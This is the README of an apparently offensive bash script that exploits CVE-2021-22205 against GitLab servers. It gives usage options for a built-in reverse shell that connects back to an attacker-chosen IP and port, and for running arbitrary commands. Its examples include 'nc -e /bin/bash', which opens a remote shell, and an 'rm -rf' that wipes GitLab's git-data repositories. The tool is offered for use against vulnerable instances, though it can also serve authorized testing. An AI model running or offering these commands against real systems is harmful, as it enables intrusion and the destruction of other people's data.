# gitlab-cve-2021-22205
A simple bash script that exploits CVE-2021-22205 against vulnerable instances of gitlab

# Usage
Usage: [options]
	-h,--help		Show this help
	-t,--target		Set the target server (i.e. "")
	-i,--reverse-ip		Set the IP to connect back to
	-p,--reverse-port	Set the port to connect back to
	-c,--command		Set the raw command to run instead of the built-in reverse shell (i.e. "nc -e /bin/bash 1337")
	Use the built-in reverse shell payload: -t -i -p 1337
	Run a custom command: -t -c "rm -rf /var/opt/gitlab/git-data/*"